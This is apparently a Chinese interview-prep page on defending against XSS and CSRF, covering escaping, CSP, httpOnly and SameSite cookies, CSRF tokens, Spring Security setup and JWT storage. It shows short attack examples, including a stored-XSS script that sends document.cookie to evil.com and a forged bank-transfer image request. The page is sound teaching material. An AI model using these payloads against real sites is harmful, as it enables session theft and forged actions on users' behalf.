高 进阶
XSS与CSRF防御#
一句话答案#
XSS 是攻击者注入恶意脚本到页面中窃取用户数据(防御:输出转义 + CSP + httpOnly Cookie),CSRF 是攻击者诱导用户浏览器发送伪造请求(防御:CSRF Token + SameSite Cookie + Referer 校验)。
核心要点
XSS(Cross-Site Scripting)#
攻击原理:
<!-- 存储型 XSS:恶意脚本存入数据库,其他用户访问时执行 -->
评论内容: <script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>
<!-- 反射型 XSS:恶意脚本在 URL 参数中,服务端直接输出 -->
https://site.com/search?q=<script>alert(1)</script>
<!-- DOM 型 XSS:前端 JS 直接操作 DOM 时注入 -->
el.innerHTML = decodeURIComponent(location.hash.substring(1)); // hash 含 <img src=x onerror=...>(innerHTML 插入的 <script> 不会执行,但事件属性会)htmlXSS 防御:
| 层级 | 措施 | 效果 |
|---|---|---|
| 输出转义 | HTML 实体编码 < → < | 根本防御 |
| CSP | Content-Security-Policy 限制脚本来源 | 深度防御 |
| httpOnly | Cookie 设 httpOnly,JS 无法读取 | 防 Cookie 窃取 |
| 输入过滤 | 过滤 <script> 等标签(补充) | 不完全可靠 |
// Spring Boot 输出转义
@GetMapping("/search")
public String search(@RequestParam String q) {
return HtmlUtils.htmlEscape(q); // <script> → <script>
}javaCSRF(Cross-Site Request Forgery)#
攻击原理:
<!-- 攻击者页面(evil.com)中嵌入 -->
<img src="https://bank.com/transfer?to=hacker&amount=10000" />
<!-- 用户访问 evil.com 时,浏览器自动携带 bank.com 的 Cookie 发送请求 -->
<!-- 银行收到的是合法 Cookie + 合法请求,无法区分是用户操作还是伪造 -->htmlCSRF 防御:
| 措施 | 原理 |
|---|---|
| CSRF Token | 表单中嵌入随机 Token,攻击者无法获取 |
| SameSite Cookie | Strict 跨站请求一律不带 Cookie;Lax 只在跨站的顶级导航 + GET 等安全方法时带。Chrome 对未设置 SameSite 的 Cookie 默认按 Lax 处理,其他浏览器不一定,要显式设置。注意”同站”按注册域算,兄弟子域名之间 SameSite 挡不住 |
| Referer/Origin 校验 | 检查请求来源域名 |
| Fetch Metadata | 服务端检查浏览器自动带的 Sec-Fetch-Site 头,拒绝 cross-site 的写请求 |
| 二次确认 | 敏感操作要求输入验证码/密码 |
// Spring Security CSRF 配置(前后端分离 SPA)
// Spring Security 6 起默认用 XorCsrfTokenRequestAttributeHandler 给 Token 加随机掩码(防 BREACH),
// 只配 CookieCsrfTokenRepository.withHttpOnlyFalse() 时,前端从 Cookie 读到的原始 Token 会校验失败;
// 当前官方文档(Spring Security 7.x)推荐直接用 spa(),它同时配好 Cookie 仓库和对应的请求处理器
http.csrf(csrf -> csrf.spa());
// 前端从 XSRF-TOKEN Cookie 读值,请求时带 X-XSRF-TOKEN headerjavaXSS vs CSRF 对比#
| 维度 | XSS | CSRF |
|---|---|---|
| 攻击目标 | 窃取用户数据/执行操作 | 伪造用户操作 |
| 攻击方式 | 注入恶意脚本到目标站 | 诱导用户访问攻击者页面 |
| 利用什么 | 用户对网站的信任 | 网站对浏览器的信任 |
| 是否需要登录 | 不一定 | 需要(利用用户 Cookie) |
| 防御核心 | 输出转义 + CSP | CSRF Token + SameSite |
为什么 JWT 天然防 CSRF?#
CSRF 的前提:浏览器自动发送 Cookie
前提:JWT 放在 Authorization Header 里(存 localStorage/内存),而不是放 Cookie:
→ 浏览器不会自动发送
→ 攻击者伪造的请求没有 Authorization Header
→ CSRF 失效
但 JWT 容易被 XSS 窃取(localStorage 可被 JS 访问)
→ 所以 JWT 更需要防 XSS(输出转义 + CSP)
如果把 JWT 放进 Cookie,浏览器又会自动携带,CSRF 风险回来了,仍要 SameSite + CSRF Tokenplaintext面试回答(2分钟版)
XSS 是攻击者向页面注入恶意 JavaScript,窃取用户 Cookie 或执行操作。分三种:存储型(恶意脚本存 DB 影响所有访问者)、反射型(URL 参数中的脚本被服务端直接输出)、DOM 型(前端 JS 不安全地操作 DOM)。防御核心是输出转义——所有动态内容渲染到 HTML 前做实体编码,配合 CSP 限制脚本来源和 httpOnly 保护 Cookie。CSRF 是攻击者诱导用户访问恶意页面,利用浏览器自动携带 Cookie 的特性向目标站点发伪造请求。防御核心是 CSRF Token(每个表单带一个服务端生成的随机 Token,攻击者无法获取)+ SameSite Cookie 属性(Strict/Lax 限制跨站携带)。JWT 放在 Authorization Header 里时天然防 CSRF,因为 Token 不在 Cookie 中不会自动发送,但更容易被 XSS 窃取。两者关系:防住 XSS 间接也防了 CSRF Token 被偷。
追问与易错
追问方向:
- “存储型 XSS 怎么防?”→ 入库时做格式校验,富文本用白名单净化(如 DOMPurify、OWASP Java HTML Sanitizer);渲染时按上下文(HTML 正文/属性/JS/URL)做输出编码 + CSP。不建议入库前就 HTML 转义,否则渲染时再转义会双重编码,数据给 App/导出等其他场景用也会出错
- “CSRF Token 存在哪?”→ 服务端 Session 或 Cookie 中(Double Submit Cookie 模式)
- “SameSite=Lax 和 Strict 区别?”→ Lax 允许跨站的顶级导航 + GET 等安全方法携带(点链接跳转),跨站 POST、img/iframe/fetch 子请求不带;Strict 跨站一律不带
- “JWT 怎么防 XSS?”→ Token 存 httpOnly Cookie(而非 localStorage)+ 输出转义 + CSP;但放 Cookie 后要重新处理 CSRF(SameSite + CSRF Token)
易错点:
- ❌ “输入过滤就能防 XSS”——过滤可被绕过(编码变体),必须输出转义
- ❌ “HTTPS 能防 CSRF”——CSRF 不是中间人攻击,HTTPS 无效
- ❌ “用了框架就不用管 XSS”——React/Vue 的 dangerouslySetInnerHTML / v-html 仍有风险